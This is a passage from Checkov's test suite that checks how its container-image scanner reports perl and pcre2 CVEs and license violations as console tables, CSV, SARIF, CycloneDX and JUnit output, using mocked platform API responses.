https://github.com/CycloneDX/cyclonedx-python-lib/actions https://pypi.org/project/cyclonedx-python-lib/ https://cyclonedx-python-library.readthedocs.io/ https://github.com/CycloneDX/cyclonedx-python-lib/issues https://github.com/CycloneDX/cyclonedx-python-lib/blob/main/LICENSE https://github.com/CycloneDX/cyclonedx-python-lib/blob/main/CHANGELOG.md https://github.com/CycloneDX/cyclonedx-python-lib https://github.com/CycloneDX/cyclonedx-python-lib/#readme bridgecrew checkov 3.0.0 https://github.com/bridgecrewio/checkov/actions https://pypi.org/project/checkov/ https://www.checkov.io/1.Welcome/What%20is%20Checkov.html https://github.com/bridgecrewio/checkov/issues https://github.com/bridgecrewio/checkov/blob/master/LICENSE https://twitter.com/bridgecrewio https://github.com/bridgecrewio/checkov https://www.checkov.io/ bridgecrewio/example//sha256:123456 pkg:oci/bridgecrewio/example/path/to/Dockerfile@sha256:123456 bzip2 1.0.8-5build1 Unknown pkg:generic/bridgecrewio/example/path/to/Dockerfile/bzip2@1.0.8-5build1 libidn2 2.3.2-2build1 Unknown pkg:generic/bridgecrewio/example/path/to/Dockerfile/libidn2@2.3.2-2build1 pcre2 10.39-3build1 Apache-2.0 pkg:deb/bridgecrewio/example/path/to/Dockerfile/ubuntu/pcre2@10.39-3build1?distro=jammy perl 5.34.0-3ubuntu1 Apache-2.0-Fake pkg:deb/bridgecrewio/example/path/to/Dockerfile/ubuntu/perl@5.34.0-3ubuntu1?distro=jammy CVE-2020-16156 https://people.canonical.com/~ubuntu-security/cve/2020/CVE-2020-16156 https://people.canonical.com/~ubuntu-security/cve/2020/CVE-2020-16156 7.8 medium CVSSv3 AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H CPAN 2.28 allows Signature Verification Bypass. N/A 2021-12-13T20:15:00+02:00 pkg:deb/bridgecrewio/example/path/to/Dockerfile/ubuntu/perl@5.34.0-3ubuntu1?distro=jammy CVE-2022-1587 https://people.canonical.com/~ubuntu-security/cve/2022/CVE-2022-1587 https://people.canonical.com/~ubuntu-security/cve/2022/CVE-2022-1587 9.1 low CVSSv3 AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:H An out-of-bounds read vulnerability was discovered in the PCRE2 library in the get_recurse_data_length() function of the pcre2_jit_compile.c file. This issue affects recursions in JIT-compiled regular expressions caused by duplicate data transfers. N/A 2022-05-17T00:15:00+03:00 pkg:deb/bridgecrewio/example/path/to/Dockerfile/ubuntu/pcre2@10.39-3build1?distro=jammy ================================================ FILE: tests/sca_image/test_output_reports.py ================================================ import os.path import sys from pathlib import Path import xml.dom.minidom from typing import List import pytest from pytest_mock import MockerFixture from checkov.common.bridgecrew.check_type import CheckType from checkov.common.output.csv import CSVSBOM from checkov.common.output.cyclonedx import CycloneDX from checkov.common.output.sarif import Sarif EXAMPLES_DIR = Path(__file__).parent / "examples" OUTPUTS_DIR = Path(__file__).parent / "outputs" def _get_deterministic_items_in_cyclonedx(pretty_xml_as_list: List[str]) -> List[str]: # the lines with the fields "serialNumber", "bom-ref" and "timestamp" contain some not-deterministic data (uuids, # timestamp). so we skip these lines by the first 'if when checking whether we get the expected results # in addition also the line that display the checkov version may be changeable, so we skip it as well # (in the second 'if') filtered_list = [] for i, line in enumerate(pretty_xml_as_list): if "bom-ref" not in line and "serialNumber" not in line and "timestamp" not in line: if i == 0 or not any(tool_name in pretty_xml_as_list[i - 1] for tool_name in ("checkov", "cyclonedx-python-lib")): filtered_list.append(line) return filtered_list def test_console_output(mocker, sca_image_report): console_output = sca_image_report.print_console(False, False, None, None, False) assert console_output == "".join( [ "sca_image scan results:\n", "\n", "Passed checks: 1, Failed checks: 3, Skipped checks: 1\n", "\n", "\t/path/to/Dockerfile (sha256:123456) - CVEs Summary:\n", '\t┌──────────────────────┬──────────────────────┬──────────────────────┬──────────────────────┬──────────────────────┬──────────────────────┬──────────────────────┐\n', '\t│ Total CVEs: 3 │ critical: 0 │ high: 0 │ medium: 1 │ low: 1 │ skipped: 1 │ Total Packages Used: │\n', "\t│ │ │ │ │ │ │ 0 │\n", '\t├──────────────────────┴──────────────────────┴──────────────────────┴──────────────────────┴──────────────────────┴──────────────────────┴──────────────────────┤\n', '\t├──────────────────────┬──────────────────────┬──────────────────────┬──────────────────────┬──────────────────────┬──────────────────────┬──────────────────────┤\n', '\t│ Package │ CVE ID │ Severity │ Current version │ Root fixed version │ Compliant version │ Reachability │\n', '\t├──────────────────────┼──────────────────────┼──────────────────────┼──────────────────────┼──────────────────────┼──────────────────────┼──────────────────────┤\n', '\t│ perl │ CVE-2020-16156 │ MEDIUM │ 5.34.0-3ubuntu1 │ N/A │ N/A │ │\n', '\t├──────────────────────┼──────────────────────┼──────────────────────┼──────────────────────┼──────────────────────┼──────────────────────┼──────────────────────┤\n', '\t│ pcre2 │ CVE-2022-1587 │ LOW │ 10.39-3build1 │ N/A │ N/A │ │\n', '\t└──────────────────────┴──────────────────────┴──────────────────────┴──────────────────────┴──────────────────────┴──────────────────────┴──────────────────────┘\n', "\n", "\t/path/to/Dockerfile (sha256:123456) - Licenses Statuses:\n", '\t┌────────────────────────────────┬────────────────────────────────┬────────────────────────────────┬────────────────────────────────────┐\n', "\t│ Package name │ Package version │ Policy ID │ License │\n", '\t├────────────────────────────────┼────────────────────────────────┼────────────────────────────────┼────────────────────────────────────┤\n', '\t│ perl │ 5.34.0-3ubuntu1 │ BC_LIC_1 │ Apache-2.0-Fake │\n', '\t└────────────────────────────────┴────────────────────────────────┴────────────────────────────────┴────────────────────────────────────┘\n', ] ) def test_console_output_in_tty(mocker: MockerFixture, sca_image_report): # simulate a tty call by enforcing color mocker.patch.dict(os.environ, {"FORCE_COLOR": "True"}) console_output = sca_image_report.print_console(False, False, None, None, False) # then assert console_output == "".join( [ '\x1b[34msca_image scan results:\n', '\x1b[0m\x1b[36m\n', 'Passed checks: 1, Failed checks: 3, Skipped checks: 1\n', '\n', '\x1b[0m\t/path/to/Dockerfile (sha256:123456) - CVEs Summary:\n', '\t┌──────────────────────┬──────────────────────┬──────────────────────┬──────────────────────┬──────────────────────┬──────────────────────┬──────────────────────┐\n', '\t│ Total CVEs: 3 │ critical: 0 │ high: 0 │ medium: 1 │ low: 1 │ skipped: 1 │ Total Packages Used: │\n', "\t│ │ │ │ │ │ │ 0 │\n", '\t├──────────────────────┴──────────────────────┴──────────────────────┴──────────────────────┴──────────────────────┴──────────────────────┴──────────────────────┤\n', '\t├──────────────────────┬──────────────────────┬──────────────────────┬──────────────────────┬──────────────────────┬──────────────────────┬──────────────────────┤\n', '\t│ Package │ CVE ID │ Severity │ Current version │ Root fixed version │ Compliant version │ Reachability │\n', '\t├──────────────────────┼──────────────────────┼──────────────────────┼──────────────────────┼──────────────────────┼──────────────────────┼──────────────────────┤\n', '\t│ perl │ CVE-2020-16156 │ MEDIUM │ 5.34.0-3ubuntu1 │ N/A │ N/A │ │\n', '\t├──────────────────────┼──────────────────────┼──────────────────────┼──────────────────────┼──────────────────────┼──────────────────────┼──────────────────────┤\n', '\t│ pcre2 │ CVE-2022-1587 │ LOW │ 10.39-3build1 │ N/A │ N/A │ │\n', '\t└──────────────────────┴──────────────────────┴──────────────────────┴──────────────────────┴──────────────────────┴──────────────────────┴──────────────────────┘\n', '\n', '\t/path/to/Dockerfile (sha256:123456) - Licenses Statuses:\n', '\t┌────────────────────────────────┬────────────────────────────────┬────────────────────────────────┬────────────────────────────────────┐\n', "\t│ Package name │ Package version │ Policy ID │ License │\n", '\t├────────────────────────────────┼────────────────────────────────┼────────────────────────────────┼────────────────────────────────────┤\n', '\t│ perl │ 5.34.0-3ubuntu1 │ BC_LIC_1 │ Apache-2.0-Fake │\n', '\t└────────────────────────────────┴────────────────────────────────┴────────────────────────────────┴────────────────────────────────────┘\n', ] ) def test_get_cyclonedx_report(sca_image_report, tmp_path: Path): cyclonedx_reports = [sca_image_report] cyclonedx = CycloneDX(repo_id="bridgecrewio/example", reports=cyclonedx_reports) cyclonedx_output = cyclonedx.get_xml_output() dom = xml.dom.minidom.parseString(cyclonedx_output) pretty_xml_as_string = str(dom.toprettyxml()) with open(os.path.join(OUTPUTS_DIR, "results_cyclonedx.xml")) as f_xml: expected_pretty_xml = f_xml.read() actual_pretty_xml_as_list = _get_deterministic_items_in_cyclonedx(pretty_xml_as_string.split("\n")) expected_pretty_xml_as_list = _get_deterministic_items_in_cyclonedx(expected_pretty_xml.split("\n")) assert actual_pretty_xml_as_list == expected_pretty_xml_as_list def test_get_csv_report(sca_image_report, tmp_path: Path): file_name = "container_images.csv" csv_sbom_report = CSVSBOM() csv_sbom_report.add_report(report=sca_image_report, git_org="acme", git_repository="bridgecrewio/example") csv_sbom_report.persist_report_container_images(file_name=file_name, is_api_key=True, output_path=str(tmp_path)) output_file_path = tmp_path / file_name csv_output = output_file_path.read_text() csv_output_str = csv_sbom_report.get_csv_output_packages(check_type=CheckType.SCA_IMAGE) # # then expected_csv_output = [ 'Package,Version,Path,Line(s),Git Org,Git Repository,Vulnerability,Severity,Description,Licenses,Fix Version,Registry URL,Root Package,Root Version', 'perl,5.34.0-3ubuntu1,/path/to/Dockerfile (sha256:123456),,acme,bridgecrewio/example,CVE-2020-16156,MEDIUM,CPAN 2.28 allows Signature Verification Bypass.,Apache-2.0-Fake,N/A,,,', 'pcre2,10.39-3build1,/path/to/Dockerfile (sha256:123456),,acme,bridgecrewio/example,CVE-2022-1587,LOW,An out-of-bounds read vulnerability was discovered in the PCRE2 library in the get_recurse_data_length() function of the pcre2_jit_compile.c file. This issue affects recursions in JIT-compiled regular expressions caused by duplicate data transfers.,Apache-2.0,N/A,,,', 'pcre2,10.39-3build1,/path/to/Dockerfile (sha256:123456),,acme,bridgecrewio/example,CVE-2022-1586,LOW,An out-of-bounds read vulnerability was discovered in the PCRE2 library in the compile_xclass_matchingpath() function of the pcre2_jit_compile.c file. This involves a unicode property matching issue in JIT-compiled regular expressions. The issue occurs because the character was not fully read in case-less matching within JIT.,Apache-2.0,N/A,,,', 'bzip2,1.0.8-5build1,/path/to/Dockerfile (sha256:123456),,acme,bridgecrewio/example,,,,Unknown,N/A,,,', 'libidn2,2.3.2-2build1,/path/to/Dockerfile (sha256:123456),,acme,bridgecrewio/example,,,,Unknown,N/A,,,', ''] csv_output_as_list = csv_output.split("\n") assert csv_output_as_list == expected_csv_output expected_csv_output_str = [ 'Package,Version,Path,Line(s),Git Org,Git Repository,Vulnerability,Severity,Description,Licenses,Fix Version,Registry URL,Root Package,Root Version', '"perl",5.34.0-3ubuntu1,/path/to/Dockerfile (sha256:123456),,acme,bridgecrewio/example,CVE-2020-16156,MEDIUM,"CPAN 2.28 allows Signature Verification Bypass.","Apache-2.0-Fake",N/A,,,', '"pcre2",10.39-3build1,/path/to/Dockerfile (sha256:123456),,acme,bridgecrewio/example,CVE-2022-1587,LOW,"An out-of-bounds read vulnerability was discovered in the PCRE2 library in the get_recurse_data_length() function of the pcre2_jit_compile.c file. This issue affects recursions in JIT-compiled regular expressions caused by duplicate data transfers.","Apache-2.0",N/A,,,', '"pcre2",10.39-3build1,/path/to/Dockerfile (sha256:123456),,acme,bridgecrewio/example,CVE-2022-1586,LOW,"An out-of-bounds read vulnerability was discovered in the PCRE2 library in the compile_xclass_matchingpath() function of the pcre2_jit_compile.c file. This involves a unicode property matching issue in JIT-compiled regular expressions. The issue occurs because the character was not fully read in case-less matching within JIT.","Apache-2.0",N/A,,,', '"bzip2",1.0.8-5build1,/path/to/Dockerfile (sha256:123456),,acme,bridgecrewio/example,,,"","Unknown",N/A,,,', '"libidn2",2.3.2-2build1,/path/to/Dockerfile (sha256:123456),,acme,bridgecrewio/example,,,"","Unknown",N/A,,,', ''] csv_output_str_as_list = csv_output_str.split("\n") assert csv_output_str_as_list == expected_csv_output_str def test_sarif_output(sca_image_report_scope_function): # The creation of sarif_json may change the input report. in order not to affect the other tests, we use # a report that is unique for the scope of the function # given sarif_output = Sarif(reports=[sca_image_report_scope_function], tool="Checkov").json # then sarif_output["runs"][0]["tool"]["driver"]["version"] = "2.0.x" expected_sarif_json = { "$schema": "https://raw.githubusercontent.com/oasis-tcs/sarif-spec/main/sarif-2.1/schema/sarif-schema-2.1.0.json", "version": "2.1.0", "runs": [ { "tool": { "driver": { "name": "Checkov", "version": "2.0.x", "informationUri": "https://checkov.io", "rules": [ { "id": "Apache-2.0-Fake_perl@5.34.0-3ubuntu1", "name": "License Apache-2.0-Fake - perl: 5.34.0-3ubuntu1", "shortDescription": {"text": "License Apache-2.0-Fake - perl: 5.34.0-3ubuntu1"}, "fullDescription": {"text": "Package perl@5.34.0-3ubuntu1 has license Apache-2.0-Fake"}, "help": {"text": "SCA license\nResource: path/to/Dockerfile (sha256:123456).perl"}, "defaultConfiguration": {"level": "error"}, }, { "id": "CVE-2020-16156_perl@5.34.0-3ubuntu1", "name": "CVE-2020-16156 - perl: 5.34.0-3ubuntu1", "shortDescription": {"text": "CVE-2020-16156 - perl: 5.34.0-3ubuntu1"}, "fullDescription": {"text": "CPAN 2.28 allows Signature Verification Bypass."}, "help": { "text": "SCA package scan\nResource: path/to/Dockerfile (sha256:123456).perl\nStatus: needed" }, "defaultConfiguration": {"level": "error"}, "properties": {"security-severity": "7.8"}, "helpUri": "https://people.canonical.com/~ubuntu-security/cve/2020/CVE-2020-16156", }, { "id": "CVE-2022-1587_pcre2@10.39-3build1", "name": "CVE-2022-1587 - pcre2: 10.39-3build1", "shortDescription": {"text": "CVE-2022-1587 - pcre2: 10.39-3build1"}, "fullDescription": { "text": "An out-of-bounds read vulnerability was discovered in the PCRE2 library in the get_recurse_data_length() function of the pcre2_jit_compile.c file. This issue affects recursions in JIT-compiled regular expressions caused by duplicate data transfers." }, "help": { "text": "SCA package scan\nResource: path/to/Dockerfile (sha256:123456).pcre2\nStatus: needed" }, "defaultConfiguration": {"level": "error"}, "properties": {"security-severity": "9.1"}, "helpUri": "https://people.canonical.com/~ubuntu-security/cve/2022/CVE-2022-1587", }, { "id": "CVE-2022-1586_pcre2@10.39-3build1", "name": "CVE-2022-1586 - pcre2: 10.39-3build1", "shortDescription": {"text": "CVE-2022-1586 - pcre2: 10.39-3build1"}, "fullDescription": { "text": "An out-of-bounds read vulnerability was discovered in the PCRE2 library in the compile_xclass_matchingpath() function of the pcre2_jit_compile.c file. This involves a unicode property matching issue in JIT-compiled regular expressions. The issue occurs because the character was not fully read in case-less matching within JIT." }, "help": { "text": "SCA package scan\nResource: path/to/Dockerfile (sha256:123456).pcre2\nStatus: needed" }, "defaultConfiguration": {"level": "error"}, "properties": {"security-severity": "9.1"}, "helpUri": "https://people.canonical.com/~ubuntu-security/cve/2022/CVE-2022-1586", }, ], "organization": "bridgecrew", } }, "results": [ { "ruleId": "Apache-2.0-Fake_perl@5.34.0-3ubuntu1", "ruleIndex": 0, "level": "error", "attachments": [], "message": {"text": "License Apache-2.0-Fake - perl: 5.34.0-3ubuntu1"}, "locations": [ { "physicalLocation": { "artifactLocation": {"uri": "path/to/Dockerfile"}, "region": { "startLine": 1, "endLine": 1, "snippet": {"text": "perl: 5.34.0-3ubuntu1"}, }, } } ], }, { "ruleId": "CVE-2020-16156_perl@5.34.0-3ubuntu1", "ruleIndex": 1, "level": "warning", "attachments": [], "message": {"text": "CVE-2020-16156 - perl: 5.34.0-3ubuntu1"}, "locations": [ { "physicalLocation": { "artifactLocation": {"uri": "path/to/Dockerfile"}, "region": { "startLine": 1, "endLine": 1, "snippet": {"text": "perl: 5.34.0-3ubuntu1"}, }, } } ], }, { "ruleId": "CVE-2022-1587_pcre2@10.39-3build1", "ruleIndex": 2, "level": "note", "attachments": [], "message": {"text": "CVE-2022-1587 - pcre2: 10.39-3build1"}, "locations": [ { "physicalLocation": { "artifactLocation": {"uri": "path/to/Dockerfile"}, "region": { "startLine": 1, "endLine": 1, "snippet": {"text": "pcre2: 10.39-3build1"}, }, } } ], }, { "ruleId": "CVE-2022-1586_pcre2@10.39-3build1", "ruleIndex": 3, "level": "note", "attachments": [], "message": {"text": "CVE-2022-1586 - pcre2: 10.39-3build1"}, "locations": [ { "physicalLocation": { "artifactLocation": {"uri": "path/to/Dockerfile"}, "region": { "startLine": 1, "endLine": 1, "snippet": {"text": "pcre2: 10.39-3build1"}, }, } } ], "suppressions": [{"kind": "external", "justification": "CVE-2022-1586 is skipped"}], }, ], } ], } assert sarif_output == expected_sarif_json def test_get_junit_xml_string(sca_image_report): # given test_suites = [sca_image_report.get_test_suite()] # when junit_xml_output = sca_image_report.get_junit_xml_string(test_suites) # then assert xml.dom.minidom.parseString(junit_xml_output).toprettyxml() == "\n".join( [ '', '', "\t", "\t", '\t', "\t\t", "\t\t", '\t\t', "\t\t", "\t\t", '\t\t', "\t\t\t", "\t\t\t", '\t\t\t', "Resource: path/to/Dockerfile (sha256:123456).perl", "File: /path/to/Dockerfile (sha256:123456): 0-0", "Guideline: None", "", "\t\t0 | perl: 5.34.0-3ubuntu1", "\t\t\t", "\t\t", "\t\t", "\t\t", "\t\t", '\t\t', "\t\t\t", "\t\t\t", '\t\t\t', "Resource: path/to/Dockerfile (sha256:123456).perl", "File: /path/to/Dockerfile (sha256:123456): 0-0", "Guideline: None", "", "\t\t0 | perl: 5.34.0-3ubuntu1", "\t\t\t", "\t\t", "\t\t", "\t\t", "\t\t", '\t\t', "\t\t\t", "\t\t\t", '\t\t\t', "Resource: path/to/Dockerfile (sha256:123456).pcre2", "File: /path/to/Dockerfile (sha256:123456): 0-0", "Guideline: None", "", "\t\t0 | pcre2: 10.39-3build1", "\t\t\t", "\t\t", "\t\t", "\t\t", "\t\t", '\t\t', "\t\t\t", "\t\t\t", '\t\t\t', "\t\t\t", "\t\t", "\t\t", "\t\t", "\t", "\t", "\t", "", "", "" ] ) ================================================ FILE: tests/sca_image/test_runner.py ================================================ from __future__ import annotations import os from pathlib import Path from unittest import mock from urllib.parse import quote_plus import responses from aioresponses import aioresponses from yarl import URL from checkov.common.bridgecrew.check_type import CheckType from checkov.common.bridgecrew.code_categories import CodeCategoryType from checkov.common.bridgecrew.severities import Severities, BcSeverities from checkov.common.models.enums import CheckResult from checkov.dockerfile.runner import Runner as Dockerfile_Runner from checkov.kubernetes.runner import Runner as Kubernetes_Runner from checkov.runner_filter import RunnerFilter from checkov.sca_image.runner import Runner from .conftest import DOCKERFILE_EXAMPLES_DIR, KUBERNETES_EXAMPLES_DIR from .mocks import mock_scan_empty, mock_scan_image def test_image_referencer_trigger_image_flow_calls(mock_bc_integration, image_name, cached_scan_result): # given image_id_encoded = quote_plus(f"image:{image_name}") response_json = { "violations": [ { "name": "readline", "version": "8.1.2-r0", "license": "Apache-2.0", "policy": "BC_LIC_1", "status": "OPEN" }, { "name": "libnsl", "version": "2.0.0-r0", "license": "Apache-2.0", "policy": "BC_LIC_1", "status": "COMPLIANT" }, ] } with aioresponses() as mock_response: mock_response.post( url=mock_bc_integration.api_url + "/api/v1/vulnerabilities/packages/get-licenses-violations", payload=response_json, status=200 ) mock_response.get( url=URL(mock_bc_integration.api_url + f"/api/v1/vulnerabilities/scan-results/{image_id_encoded}", encoded=True), payload=cached_scan_result, status=200, ) # when reports = Dockerfile_Runner().run(root_folder=str(DOCKERFILE_EXAMPLES_DIR), runner_filter=RunnerFilter(run_image_referencer=True)) sca_image_report = next(report for report in reports if report.check_type == CheckType.SCA_IMAGE) # then assert len(sca_image_report.failed_checks) == 4 assert len(sca_image_report.passed_checks) == 1 def test_runner_honors_enforcement_rules(mock_bc_integration, image_name2, cached_scan_result): # given image_id_encoded = quote_plus(f"image:{image_name2}") response_json = { "violations": [ { "name": "readline", "version": "8.1.2-r0", "license": "Apache-2.0", "policy": "BC_LIC_1", "status": "OPEN" }, { "name": "libnsl", "version": "2.0.0-r0", "license": "Apache-2.0", "policy": "BC_LIC_1", "status": "COMPLIANT" }, ] } with aioresponses() as mock_response: mock_response.post( url=mock_bc_integration.api_url + "/api/v1/vulnerabilities/packages/get-licenses-violations", payload=response_json, status=200 ) mock_response.get( url=URL(mock_bc_integration.api_url + f"/api/v1/vulnerabilities/scan-results/{image_id_encoded}", encoded=True), payload=cached_scan_result, status=200, ) # when runner_filter = RunnerFilter(use_enforcement_rules=True, run_image_referencer=True) # this is not quite a true test, because the checks don't have severities. However, this shows that the check registry # passes the report type properly to RunnerFilter.should_run_check, and we have tests for that method runner_filter.enforcement_rule_configs = { CheckType.KUBERNETES: Severities[BcSeverities.OFF], CheckType.SCA_IMAGE: { CodeCategoryType.LICENSES: Severities[BcSeverities.OFF], CodeCategoryType.VULNERABILITIES: Severities[BcSeverities.OFF] } } reports = Kubernetes_Runner().run(root_folder=str(KUBERNETES_EXAMPLES_DIR), runner_filter=runner_filter) sca_image_report = next(report for report in reports if report.check_type == CheckType.SCA_IMAGE) summary = sca_image_report.get_summary() # then assert summary["passed"] == 0 assert summary["failed"] == 0 assert summary["skipped"] == 5 assert summary["parsing_errors"] == 0 def test_run(sca_image_report): # given report = sca_image_report # then rootless_path = "path/to/Dockerfile" assert report.check_type == "sca_image" assert report.resources == {f'{rootless_path} (sha256:123456).pcre2', f'{rootless_path} (sha256:123456).perl'} assert len(report.passed_checks) == 1 assert len(report.failed_checks) == 3 assert len(report.skipped_checks) == 1 assert len(report.parsing_errors) == 0 cve_record = next((c for c in report.failed_checks if c.resource == f"{rootless_path} (sha256:123456).pcre2" and c.check_name == "SCA package scan"), None) assert cve_record is not None assert cve_record.bc_check_id == "BC_CVE_2022_1587" assert cve_record.check_id == "CKV_CVE_2022_1587" assert cve_record.check_class == "checkov.common.bridgecrew.vulnerability_scanning.image_scanner.ImageScanner" # not the real one assert cve_record.check_name == "SCA package scan" assert cve_record.check_result == {"result": CheckResult.FAILED} assert cve_record.code_block == [(0, "pcre2: 10.39-3build1")] assert cve_record.description == ( "An out-of-bounds read vulnerability was discovered in the PCRE2 library in the get_recurse_data_length() function of the pcre2_jit_compile.c file. " "This issue affects recursions in JIT-compiled regular expressions caused by duplicate data transfers." ) assert cve_record.file_abs_path == f"/{rootless_path}" assert cve_record.file_line_range == [0, 0] assert cve_record.file_path == f"/{rootless_path} (sha256:123456)" assert cve_record.repo_file_path == f"/{rootless_path}" assert cve_record.resource == f"{rootless_path} (sha256:123456).pcre2" assert cve_record.severity == Severities[BcSeverities.LOW] assert cve_record.short_description == "CVE-2022-1587 - pcre2: 10.39-3build1" assert cve_record.vulnerability_details["lowest_fixed_version"] == "N/A" assert cve_record.vulnerability_details["fixed_versions"] == [] assert {"licenses", "package_type"} <= cve_record.vulnerability_details.keys() assert cve_record.vulnerability_details["licenses"] == "Apache-2.0" assert cve_record.vulnerability_details["package_type"] == "os" skipped_record = report.skipped_checks[0] assert skipped_record.check_result == {"result": CheckResult.SKIPPED, 'suppress_comment': 'CVE-2022-1586 is skipped'} assert skipped_record.short_description == "CVE-2022-1586 - pcre2: 10.39-3build1" # making sure extra-resources (a scanned packages without cves) also have licenses - this data will be printed # as part of the BON report. extra_resource = next((c for c in report.extra_resources if c.resource == f"{rootless_path} (sha256:123456).bzip2"), None) assert extra_resource is not None assert "licenses" in extra_resource.vulnerability_details assert extra_resource.vulnerability_details["licenses"] == "Unknown" license_resource = next((c for c in report.failed_checks if c.check_name == "SCA license" if c.resource == f"{rootless_path} (sha256:123456).perl"), None) assert license_resource is not None print(license_resource.resource) assert license_resource.check_id == "BC_LIC_1" assert license_resource.bc_check_id == "BC_LIC_1" assert license_resource.check_result == {"result": CheckResult.FAILED} assert {"package_name", "package_name", "license", "status", "policy", "package_type"} <= license_resource.vulnerability_details.keys() assert license_resource.vulnerability_details["package_name"] == "perl" assert license_resource.vulnerability_details["package_version"] == "5.34.0-3ubuntu1" assert license_resource.vulnerability_details["license"] == "Apache-2.0-Fake" assert license_resource.vulnerability_details["status"] == "FAILED" assert license_resource.vulnerability_details["policy"] == "BC_LIC_1" assert license_resource.vulnerability_details["package_type"] == "os" def test_run_license_policy(mock_bc_integration, image_name, cached_scan_result): # given image_id_encoded = quote_plus(f"image:{image_name}") response_json = { "violations": [ { "name": "readline", "version": "8.1.2-r0", "license": "Apache-2.0", "policy": "BC_LIC_1", "status": "OPEN" }, { "name": "libnsl", "version": "2.0.0-r0", "license": "Apache-2.0", "policy": "BC_LIC_1", "status": "COMPLIANT" }, ] } with aioresponses() as mock_response: mock_response.post( url=mock_bc_integration.api_url + "/api/v1/vulnerabilities/packages/get-licenses-violations", payload=response_json, status=200 ) mock_response.get( url=URL(mock_bc_integration.api_url + f"/api/v1/vulnerabilities/scan-results/{image_id_encoded}", encoded=True), payload=cached_scan_result, status=200, ) # when runner_filter = RunnerFilter(checks=['BC_LIC_1'], run_image_referencer=True) reports = Dockerfile_Runner().run(root_folder=str(DOCKERFILE_EXAMPLES_DIR), runner_filter=runner_filter) sca_image_report = next(report for report in reports if report.check_type == CheckType.SCA_IMAGE) # then assert not [c for c in sca_image_report.passed_checks + sca_image_report.failed_checks if c.check_id.startswith('CKV_CVE')] @mock.patch('checkov.sca_image.runner.Runner.scan', mock_scan_empty) @responses.activate def test_run_with_empty_scan_result(mock_bc_integration): # given response_json = { "violations": [ { "name": "pcre2", "version": "10.39-3build1", "license": "Apache-2.0", "policy": "BC_LIC_1", "status": "COMPLIANT" }, { "name": "perl", "version": "5.34.0-3ubuntu1", "license": "Apache-2.0-Fake", "policy": "BC_LIC_1", "status": "OPEN" }, ] } responses.add( method=responses.POST, url=mock_bc_integration.api_url + "/api/v1/vulnerabilities/packages/get-licenses-violations", json=response_json, status=200 ) runner = Runner() runner_filter = RunnerFilter(skip_checks=["CKV_CVE_2022_1586"]) # when dockerfile_path = "/Users/ipeleg/Work/checkov/tests/sca_image/examples/dockerfile/Dockerfile" image_id = "sha256:123456" report = runner.run(root_folder=DOCKERFILE_EXAMPLES_DIR, runner_filter=runner_filter, dockerfile_path=dockerfile_path, image_id=image_id) # then assert report.check_type == "sca_image" assert report.resources == set() assert len(report.passed_checks) == 0 assert len(report.failed_checks) == 0 assert len(report.skipped_checks) == 0 assert len(report.parsing_errors) == 0 @mock.patch.dict(os.environ, {"CKV_IGNORE_HIDDEN_DIRECTORIES": "false"}) @mock.patch('checkov.sca_image.runner.Runner.get_image_cached_results', mock_scan_image) def test_run_with_image_cached_reports_env(mock_bc_integration, image_name, cached_scan_result2): image_id_encoded = quote_plus(f"image:{image_name}") with aioresponses() as mock_response: mock_response.get( url=URL(mock_bc_integration.api_url + f"/api/v1/vulnerabilities/scan-results/{image_id_encoded}", encoded=True), payload=cached_scan_result2, status=200, ) runner_filter = RunnerFilter(run_image_referencer=True) reports = Dockerfile_Runner().run(root_folder=str(DOCKERFILE_EXAMPLES_DIR), runner_filter=runner_filter) sca_image_report = next(report for report in reports if report.check_type == CheckType.SCA_IMAGE) assert len(sca_image_report.passed_checks) == 0 assert len(sca_image_report.failed_checks) == 1 assert len(sca_image_report.skipped_checks) == 0 assert len(sca_image_report.parsing_errors) == 0 assert len(sca_image_report.image_cached_results) == 1 @mock.patch.dict(os.environ, {"CHECKOV_CREATE_SCA_IMAGE_REPORTS_FOR_IR": "False"}) @mock.patch.dict(os.environ, {"CKV_IGNORE_HIDDEN_DIRECTORIES": "false"}) @mock.patch('checkov.sca_image.runner.Runner.get_image_cached_results', mock_scan_image) def test_run_with_image_cached_reports_and_without_sca_reports_env(mock_bc_integration, image_name, cached_scan_result2): image_id_encoded = quote_plus(f"image:{image_name}") with aioresponses() as mock_response: mock_response.get( url=URL(mock_bc_integration.api_url + f"/api/v1/vulnerabilities/scan-results/{image_id_encoded}", encoded=True), payload=cached_scan_result2, status=200, ) runner_filter = RunnerFilter(run_image_referencer=True) reports = Dockerfile_Runner().run(root_folder=str(DOCKERFILE_EXAMPLES_DIR), runner_filter=runner_filter) sca_image_report = next(report for report in reports if report.check_type == CheckType.SCA_IMAGE) assert len(sca_image_report.passed_checks) == 0 assert len(sca_image_report.failed_checks) == 1 assert len(sca_image_report.skipped_checks) == 0 assert len(sca_image_report.parsing_errors) == 0 assert len(sca_image_report.image_cached_results) == 1 @responses.activate def test_run_with_error_from_scan_results(mock_bc_integration, image_name2, cached_scan_result3): image_id_encoded = quote_plus(f"image:{image_name2}") responses.add( method=responses.GET, url=mock_bc_integration.api_url + f"/api/v1/vulnerabilities/scan-results/{image_id_encoded}", json=cached_scan_result3, status=500, ) runner = Runner() runner_filter = RunnerFilter(skip_checks=["CKV_CVE_2022_1586"]) # when image_id = "sha256:123456" report = runner.run(root_folder=DOCKERFILE_EXAMPLES_DIR, runner_filter=runner_filter, image_id=image_id, files=[".github/workflows/vulnerable_container.yaml"]) assert len(report.passed_checks) == 0 assert len(report.failed_checks) == 0 assert len(report.skipped_checks) == 0 assert len(report.parsing_errors) == 0 assert len(report.image_cached_results) == 0 ================================================ FILE: tests/sca_package_2/__init__.py ================================================ ================================================ FILE: tests/sca_package_2/conftest.py ================================================ import os from pathlib import Path from unittest import mock from unittest.mock import MagicMock from typing import Dict, Any, List, Generator import pytest from pytest_mock import MockerFixture from checkov.common.bridgecrew.bc_source import SourceType from checkov.common.bridgecrew.platform_integration import BcPlatformIntegration, bc_integration from checkov.common.output.report import Report from checkov.sca_package_2.runner import Runner from checkov.sca_package_2.output import create_cli_license_violations_table, create_cli_output from checkov.runner_filter import RunnerFilter from checkov.common.sca.commons import get_package_alias from checkov.common.sca.output import create_report_cve_record, create_report_license_record EXAMPLES_DIR = Path(__file__).parent / "examples" @pytest.fixture(autouse=True) def mock_env_vars(): with mock.patch.dict(os.environ, {}): yield @pytest.fixture() def mock_bc_integration() -> BcPlatformIntegration: bc_integration.bc_api_key = "abcd1234-abcd-1234-abcd-1234abcd1234" bc_integration.api_url = 'https://www.bridgecrew.cloud' bc_integration.setup_bridgecrew_credentials( 